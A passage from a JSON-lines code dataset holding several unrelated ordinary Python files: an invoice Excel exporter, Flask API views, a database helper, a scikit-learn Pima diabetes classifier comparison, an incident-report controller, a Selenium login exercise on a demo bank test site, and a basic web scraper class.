XlsxWriter Excel object.\ntabl.to_excel(writer, sheet_name='Sheet1', index= False)\n# Get the xlsxwriter workbook and worksheet objects.\nworkbook = writer.book\nworksheet = writer.sheets['Sheet1']\n# Set the column width and format.\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 9, None) # direction\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 18, None) # first\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 18, None) # last\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 9, None) # total\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 9, None) # amount paid\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 9, None) # amount left\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 9, None) # record\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 9, None) # rec date\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 9, None) # obt date\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 9, None) # pay notes\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 9, None) # clear date\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 18*1.5, None) # street\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 18*1.5, None) # city\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 18*2.5, None) # my notes\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 18, None) # monthly charge\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 18, None) # additional charge\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 18*2.5, None) # add charge notes\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 18, None) # additional charge 2\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 18*2.5, None) # add charge notes 2\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 18, None) # cust reminder\nlet_index += 1\nworksheet.set_column(letters[let_index]+':'+letters[let_index], 9, None) #included\n\n# Close the Pandas Excel writer and output the Excel file.\nwriter.save()\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# CREATE EXCEL SHEET for shorter output\n# 'short' path\nshort_path = path+'/short_data_'+MONTH+'_'+YEAR+'.xlsx'\n# create shorter data\nshort_tabl = tabl[['FIRST','LAST','STREET_ADDRESS']].copy()\n# add month service column\nshort_tabl[MONTH+' '+YEAR] = tabl['TOTAL'].copy()\n# add recrods column\nshort_tabl['Records'] = ['']*N\n\n# create excel output\nshort_writer = pd.ExcelWriter(short_path, engine='xlsxwriter')\n# Convert the dataframe to an XlsxWriter Excel object.\nshort_tabl.to_excel(short_writer, sheet_name='Sheet1', index= False)\n# Get the xlsxwriter workbook and worksheet objects.\nshort_workbook = short_writer.book\nshort_workbook = short_writer.sheets['Sheet1']\n# Set the column width and format.\nshort_workbook.set_column('A:A', 15, None) # first\nshort_workbook.set_column('B:B', 15, None) # last\nshort_workbook.set_column('C:C', 25, None) # street\nshort_workbook.set_column('D:D', 15, None) # total\nshort_workbook.set_column('E:E', 15, None) # records\n# MARGINS\nshort_workbook.set_margins(left=0.1, right=0.1, top=0.1, bottom=0.1)\n# Close the Pandas Excel writer and output the Excel file.\nshort_writer.save()\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n## main program done\nprint('Main program done.')\n\n# total total sum\nprint('Total: ${:,.2f}'.format(tabl['TOTAL'].values.sum()))\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# ## RUN AUX PROGRAM\n# string_exe = 'python code/aux.py ' + .......\n# os.system(string_exe)\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n\nprint('Complete!!!!!!')\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n", "sub_path": "invoice.py", "file_name": "invoice.py", "file_ext": "py", "file_size_in_byte": 42488, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sys.argv", "line_number": 32, "usage_type": "argument"}, {"api_name": "sys.argv", "line_number": 33, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 34, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pandas.read_excel", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 131, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 154, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 163, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 169, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 177, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 183, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 711, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 719, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 726, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 731, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 738, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 746, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 750, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 755, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 759, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 764, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 768, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 773, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 777, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 782, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 786, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 791, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 795, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 800, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 804, "usage_type": "call"}, {"api_name": "tkinter.IntVar", "line_number": 808, "usage_type": "call"}, {"api_name": "tkinter.Checkbutton", "line_number": 809, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 833, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 833, "usage_type": "attribute"}, {"api_name": "docxtpl.DocxTemplate", "line_number": 875, "usage_type": "call"}, {"api_name": "docxtpl.DocxTemplate", "line_number": 876, "usage_type": "call"}, {"api_name": "docxtpl.DocxTemplate", "line_number": 973, "usage_type": "call"}, {"api_name": "docxtpl.DocxTemplate", "line_number": 977, "usage_type": "call"}, {"api_name": "docxtpl.DocxTemplate", "line_number": 979, "usage_type": "call"}, {"api_name": "docxtpl.DocxTemplate", "line_number": 981, "usage_type": "call"}, {"api_name": "docxtpl.DocxTemplate", "line_number": 983, "usage_type": "call"}, {"api_name": "docx.Document", "line_number": 998, "usage_type": "call"}, {"api_name": "docxcompose.composer.Composer", "line_number": 1002, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 1017, "usage_type": "call"}, {"api_name": "pandas.ExcelWriter", "line_number": 1055, "usage_type": "call"}, {"api_name": "pandas.ExcelWriter", "line_number": 1120, "usage_type": "call"}]} {"seq_id": "607681300", "text": "#!/usr/bin/python3\n\"\"\" Your first endpoint (route) will be to return the status of your API \"\"\"\nfrom api.v1.views import app_views\nfrom flask import jsonify, abort, request\nfrom models import storage\nfrom models.state import State\nimport json\n\n\n@app_views.route(\"/states/\", methods=['GET', 'POST'])\n@app_views.route(\"/states\", methods=['GET', 'POST'])\ndef show_states():\n \"\"\" returns list of states \"\"\"\n if request.method == 'GET':\n lista = []\n states = storage.all(State).values()\n for state in states:\n lista.append(state.to_dict())\n return jsonify(lista)\n elif request.method == 'POST':\n if request.json:\n new_dict = request.get_json()\n if \"name\" in new_dict.keys():\n new_state = State(**new_dict)\n storage.new(new_state)\n storage.save()\n return jsonify(new_state.to_dict()), 201\n else:\n abort(400, description=\"Missing name\")\n else:\n abort(400, description=\"Not a JSON\")\n\n\n@app_views.route(\"states/<state_id>/\", methods=['GET', 'DELETE', 'PUT'])\n@app_views.route(\"states/<state_id>\", methods=['GET', 'DELETE', 'PUT'])\ndef show_state(state_id):\n \"\"\" returns state data \"\"\"\n if request.method == 'GET':\n states = storage.all(State).values()\n for state in states:\n if state.id == state_id:\n return jsonify(state.to_dict())\n abort(404)\n elif request.method == 'DELETE':\n states = storage.all(State).values()\n for state in states:\n if state.id == state_id:\n state.delete()\n storage.save()\n return jsonify({}), 200\n abort(404)\n elif request.method == 'PUT':\n if request.json:\n new_dict = request.get_json()\n states = storage.all(State).values()\n for state in states:\n if state.id == state_id:\n state.name = new_dict['name']\n storage.save()\n return jsonify(state.to_dict()), 200\n abort(404)\n else:\n abort(400, description=\"Not a JSON\")\n", "sub_path": "api/v1/views/states.py", "file_name": "states.py", "file_ext": "py", "file_size_in_byte": 2191, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "flask.request.method", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "models.storage.all", "line_number": 16, "usage_type": "call"}, {"api_name": "models.state.State", "line_number": 16, "usage_type": "argument"}, {"api_name": "models.storage", "line_number": 16, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "models.state.State", "line_number": 24, "usage_type": "call"}, {"api_name": "models.storage.new", "line_number": 25, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 25, "usage_type": "name"}, {"api_name": "models.storage.save", "line_number": 26, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 31, "usage_type": "call"}, {"api_name": "api.v1.views.app_views.route", "line_number": 10, "usage_type": "call"}, {"api_name": "api.v1.views.app_views", "line_number": 10, "usage_type": "name"}, {"api_name": "api.v1.views.app_views.route", "line_number": 11, "usage_type": "call"}, {"api_name": "api.v1.views.app_views", "line_number": 11, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "models.storage.all", "line_number": 39, "usage_type": "call"}, {"api_name": "models.state.State", "line_number": 39, "usage_type": "argument"}, {"api_name": "models.storage", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 44, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 44, "usage_type": "name"}, {"api_name": "models.storage.all", "line_number": 45, "usage_type": "call"}, {"api_name": "models.state.State", "line_number": 45, "usage_type": "argument"}, {"api_name": "models.storage", "line_number": 45, "usage_type": "name"}, {"api_name": "models.storage.save", "line_number": 49, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 52, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 52, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 53, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 53, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 54, "usage_type": "name"}, {"api_name": "models.storage.all", "line_number": 55, "usage_type": "call"}, {"api_name": "models.state.State", "line_number": 55, "usage_type": "argument"}, {"api_name": "models.storage", "line_number": 55, "usage_type": "name"}, {"api_name": "models.storage.save", "line_number": 59, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 63, "usage_type": "call"}, {"api_name": "api.v1.views.app_views.route", "line_number": 34, "usage_type": "call"}, {"api_name": "api.v1.views.app_views", "line_number": 34, "usage_type": "name"}, {"api_name": "api.v1.views.app_views.route", "line_number": 35, "usage_type": "call"}, {"api_name": "api.v1.views.app_views", "line_number": 35, "usage_type": "name"}]} {"seq_id": "560666733", "text": "import functools\nimport json\nfrom flask import g\nimport uuid\nimport hashlib\nfrom flask_login import current_user\n\n\ndef rollback_errors(db_operation):\n @functools.wraps(db_operation)\n def wrapper(database, *args, **kwargs):\n\n try:\n return db_operation(database, *args, **kwargs)\n except Exception as ex:\n database.connection.rollback()\n raise ex\n\n return wrapper\n\n\ndef save_search_event(aliases_data):\n user_id = current_user.user_id\n search_param_string = user_id + json.dumps(aliases_data, sort_keys=True)\n hashed_search_params = hashlib.sha256(search_param_string.encode()).hexdigest()\n _db_insert_search_event(g.database, user_id, hashed_search_params)\n\n\n@rollback_errors\ndef _db_insert_search_event(database, user_id, hashed_search_params):\n database.cursor.execute(\n \"\"\"\n INSERT INTO SEARCH_RESULTS(search_result_id, user_id, hashed_search_params)\n VALUES ( uuid_generate_v4(), %(user_id)s, %(params)s);\n \"\"\",\n {\"user_id\": uuid.UUID(user_id).hex, \"params\": hashed_search_params,},\n )\n", "sub_path": "src/backend/expungeservice/database/db_util.py", "file_name": "db_util.py", "file_ext": "py", "file_size_in_byte": 1099, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "functools.wraps", "line_number": 10, "usage_type": "call"}, {"api_name": "flask_login.current_user.user_id", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 23, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 24, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.g.database", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 26, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 36, "usage_type": "call"}]} {"seq_id": "597472587", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Apr 8 17:09:25 2018\r\n\r\n@author: Debolina\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.cross_validation import cross_val_score\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.svm import LinearSVC\r\nfrom sklearn.neural_network import MLPClassifier\r\nfrom sklearn.model_selection import train_test_split\r\nimport sklearn.linear_model\r\nimport seaborn as sns\r\n\r\ndata1 = pd.read_csv('Pima.csv')\r\nprint('First few observations')\r\nprint(data1.head())\r\ndata1 = data1.drop('index', axis=1)\r\nnumber = LabelEncoder()\r\ndata1['type'] = number.fit_transform(data1['type'].astype(str))\r\nprint('After preprocessing...')\r\nprint(data1.head())\r\ntrain1, test1 = train_test_split(data1, test_size=0.3)\r\npred = ['npreg', 'glu', 'bp', 'skin', 'bmi', 'ped', 'age']\r\n\r\nprint('Correlation Matrix')\r\ncorr = data1.corr()\r\nplt.figure(figsize=(12, 7))\r\nsns.heatmap(corr, annot=True)\r\n\r\nprint('Logistic Regression')\r\nmodel1 = sklearn.linear_model.LogisticRegression()\r\nx_train = train1[pred].values\r\ny_train = train1['type'].values\r\nx_test = test1[pred].values\r\ny_test = test1['type'].values\r\n\r\nmodel1.fit(x_train, y_train)\r\npredicted1 = model1.predict(x_test)\r\nprint(confusion_matrix(y_test, predicted1))\r\n\r\nmodeltest1 = sklearn.linear_model.LogisticRegression()\r\nprint('Cross val score')\r\nprint(np.mean(cross_val_score(modeltest1, x_train, y_train, cv=5)))\r\n\r\nprint(\"\\nRANDOM FOREST CLASSIFIER\")\r\nmodel2 = RandomForestClassifier()\r\nmodel2.fit(x_train, y_train)\r\nprediction2 = model2.predict(x_test)\r\nprint(confusion_matrix(y_test, prediction2))\r\nmodelchk1 = RandomForestClassifier()\r\nprint(np.mean(cross_val_score(modelchk1, x_train, y_train, cv=6)))\r\n\r\nprint(\"\\nSUPPORT VECTOR MACHINES\")\r\nclf1 = LinearSVC(random_state=0)\r\nclf1.fit(x_train, y_train)\r\nprediction3 = clf1.predict(x_test)\r\nprint(confusion_matrix(y_test, prediction3))\r\nclftest = LinearSVC(random_state=0)\r\nprint(np.mean(cross_val_score(clftest, x_train, y_train, cv=6)))\r\n\r\nprint(\"\\nMULTILAYERED PERCEPTRON\")\r\nclf2 = MLPClassifier(solver='lbfgs')\r\nclf2.fit(x_train, y_train)\r\nprediction4 = clf2.predict(x_test)\r\nprint(confusion_matrix(y_test, prediction4))\r\nmodelclf1 = MLPClassifier(solver='lbfgs')\r\nprint(np.mean(cross_val_score(modelclf1, x_train, y_train, cv=7)))", "sub_path": "pima.py", "file_name": "pima.py", "file_ext": "py", "file_size_in_byte": 2408, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pandas.read_csv", "line_number": 21, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 25, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.linear_model.LogisticRegression", "line_number": 38, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.linear_model", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sklearn.cross_validation", "line_number": 38, "usage_type": "name"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.linear_model.LogisticRegression", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.linear_model", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sklearn.cross_validation", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 50, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.cross_val_score", "line_number": 50, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 53, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.cross_val_score", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 61, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 66, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.cross_val_score", "line_number": 66, "usage_type": "call"}, {"api_name": "sklearn.neural_network.MLPClassifier", "line_number": 69, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 72, "usage_type": "call"}, {"api_name": "sklearn.neural_network.MLPClassifier", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 74, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.cross_val_score", "line_number": 74, "usage_type": "call"}]} {"seq_id": "381247353", "text": "from app.models.incident import Incident, incidents\nfrom flask import Flask, jsonify, request, json\n\n\nclass Redflag:\n\n def create_redflag(self, *args):\n \"\"\"This method innitialises all the attributes that will be used in \\\n the creation of a redflag\"\"\"\n\n self.createdby = args[0]\n self.incident_type = args[1]\n self.location = args[2]\n self.status = args[3]\n self.images = args[4]\n self.videos = args[5]\n self.comment = args[6]\n\n incident = Incident(*args)\n\n newinput = incident.get_json()\n incidents.append(incident.get_json())\n return newinput\n\n\n def get_allredflags(self):\n \"\"\"Method to return all redflags\"\"\"\n if len(incidents) > 1:\n return incidents\n return False\n\n\n def get_a_redflag(self, redflag_id):\n \"\"\"Method that returns a particular \\\n redflag with a specific redflag_id\"\"\"\n record = [\n record for record in incidents if record[\n 'redflag_id'] == redflag_id]\n\n if record:\n\n return jsonify({\"status\": 200, \"data\": record[0]}), 200\n\n return jsonify({\"status\": 200, \"message\":\n \"the redflag with that redflag_id is not available\"}), 200\n\n def edits_record_location(self, redflag_id, item, newvalue):\n \"\"\"Method for modifying a particular redflag's attribute \"\"\"\n\n record = [record for record in incidents if record[\n 'redflag_id'] == redflag_id]\n\n if record:\n record[0][item] = newvalue\n\n return [{\"message\": \"Updated redflag\", \"id\": redflag_id}]\n else:\n return False\n\n def delete_record(self, redflag_id):\n \"\"\"method for deleting a particular redflag at a certain redflag_id\"\"\"\n\n for redflag in incidents:\n if redflag['redflag_id'] == redflag_id:\n print(redflag)\n incidents.remove(redflag)\n return jsonify({\"status\": 200, \"data\": [{\"id\": redflag_id, \"message\": \"red-flag record has been deleted\"}]})\n return jsonify({\"status\": 200, \"message\": \"There are no redflag to delete\"}), 200\n", "sub_path": "app/controllers/incident_cont.py", "file_name": "incident_cont.py", "file_ext": "py", "file_size_in_byte": 2176, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "app.models.incident.Incident", "line_number": 19, "usage_type": "call"}, {"api_name": "app.models.incident.incidents.append", "line_number": 22, "usage_type": "call"}, {"api_name": "app.models.incident.incidents", "line_number": 22, "usage_type": "name"}, {"api_name": "app.models.incident.incidents", "line_number": 28, "usage_type": "argument"}, {"api_name": "app.models.incident.incidents", "line_number": 29, "usage_type": "name"}, {"api_name": "app.models.incident.incidents", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 44, "usage_type": "call"}, {"api_name": "app.models.incident.incidents", "line_number": 50, "usage_type": "name"}, {"api_name": "app.models.incident.incidents", "line_number": 63, "usage_type": "name"}, {"api_name": "app.models.incident.incidents.remove", "line_number": 66, "usage_type": "call"}, {"api_name": "app.models.incident.incidents", "line_number": 66, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 68, "usage_type": "call"}]} {"seq_id": "381550095", "text": "from selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport time\nfrom selenium.webdriver.common.keys import Keys\n\ndriver = webdriver.Chrome(ChromeDriverManager().install())\nurl = 'https://demobank.jaktestowac.pl/logowanie_etap_1.html'\ndriver.get(url)\ntitle = driver.title\nprint(f'Actual title: {title}')\nlogin_form_header_elements = driver.find_elements_by_xpath('//*[@id=\"login_form\"]/h1')\nprint(f'Actual number of h1 elements: {len(login_form_header_elements)}')\n\nlogin_form_header_element = login_form_header_elements[0]\nlogin_form_header_text = login_form_header_element.text\nprint(f'Login form header text: {login_form_header_text}')\n\nlogin_input_element = driver.find_element_by_xpath('//*[@id=\"login_id\"]')\n# .text returns hardcoded value from DOM. To get value from the user input we have to use get_attribute method\n\nprint(f'Input box text before send_keys(): {login_input_element.get_attribute(\"value\")}')\nlogin_input_element.send_keys('kocur13d')\nprint(f'Input box text after send_keys(): {login_input_element.get_attribute(\"value\")}')\ntime.sleep(1)\nlogin_input_element.send_keys(Keys.BACKSPACE)\ntime.sleep(1)\nlogin_input_element.clear()\nprint(f'Input box text after clear(): {login_input_element.get_attribute(\"value\")}')\ntime.sleep(1)\n\ndalej_button = driver.find_element_by_id('login_next')\n# get string value of disabled\n\ndalej_button_disabled = dalej_button.get_attribute(\"disabled\")\nif dalej_button_disabled == \"true\":\n print(dalej_button_disabled)\n\n# get bool value of disabled\ndalej_button_disabled_bool = dalej_button.get_property('disabled')\nif dalej_button_disabled_bool:\n print(dalej_button_disabled_bool)\n\nlogin_reminder_element = driver.find_element_by_id('ident_rem')\nlogin_reminder_element.click()\ntime.sleep(1)\nlogin_reminder_close_button = driver.find_element_by_class_name('shadowbox-close')\nlogin_reminder_close_button.click()\n\nlogin_input_element.send_keys('asdftrsvbbb', Keys.ENTER)\nsaved_login_value = login_input_element.get_attribute(\"value\")\nprint(f'Typed vaule: asdftrsvbbb, Saved value: {saved_login_value}')\ndriver.quit()", "sub_path": "scratch_files/scratch_inputs.py", "file_name": "scratch_inputs.py", "file_ext": "py", "file_size_in_byte": 2101, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 6, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 6, "usage_type": "name"}, {"api_name": "webdriver_manager.chrome.ChromeDriverManager", "line_number": 6, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 24, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.keys.Keys.BACKSPACE", "line_number": 25, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 25, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 29, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 45, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.keys.Keys.ENTER", "line_number": 49, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 49, "usage_type": "name"}]} {"seq_id": "135897975", "text": "import re\n\nimport requests\n\nfrom concurrentfloodscraper.url_builder import UrlBuilder\n\n\nclass Scraper:\n number_retries = 5\n timeout = 5\n href_url_regex = re.compile(r'href=\"(?P<url>[^\"]*)\"')\n url_filter_regex = re.compile(r'^https?://[^\\s]+$')\n\n def __init__(self, url):\n self.url = url\n if type(self.url_filter_regex) == str:\n self.url_filter_regex = re.compile(self.url_filter_regex)\n\n # main function. returns new_urls. any data is the responsibility of subclasses\n def parse(self):\n print('Parsing %s' % self.url)\n\n # get text\n try:\n text = self.load_page()\n except requests.exceptions.RequestException as e:\n print('Error loading \"%s\". Error is %s' % (self.url, e))\n return [''] # no new urls\n\n # subclass does their stuff\n self.scrape_page(text)\n\n # get new urls, and filter. return those to worker\n all_urls = self.parse_all_urls(text)\n new_urls = list(filter(lambda x: self.url_filter_regex.match(x), all_urls))\n return new_urls\n\n # get html code from url\n def load_page(self):\n attempts = 0\n while True:\n try:\n page = requests.get(self.url, timeout=self.timeout)\n break\n\n except requests.exceptions.Timeout as e:\n attempts += 1\n if attempts == self.number_retries:\n raise requests.exceptions.RequestException() from e\n\n return page.text\n\n # get urls from text\n def parse_all_urls(self, text):\n matches = self.href_url_regex.findall(text)\n new_urls = [UrlBuilder.build_qualified(self.url, match) for match in matches]\n return new_urls\n\n # parse page for content\n def scrape_page(self, text):\n raise NotImplemented('Child class of %s must implement scrape_page(self,text)' % self.__class__)\n", "sub_path": "concurrentfloodscraper/scraper.py", "file_name": "scraper.py", "file_ext": "py", "file_size_in_byte": 1916, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "re.compile", "line_number": 11, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 12, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 17, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 26, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 43, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 46, "usage_type": "attribute"}, {"api_name": "requests.exceptions.RequestException", "line_number": 49, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 49, "usage_type": "attribute"}, {"api_name": "concurrentfloodscraper.url_builder.UrlBuilder.build_qualified", "line_number": 56, "usage_type": 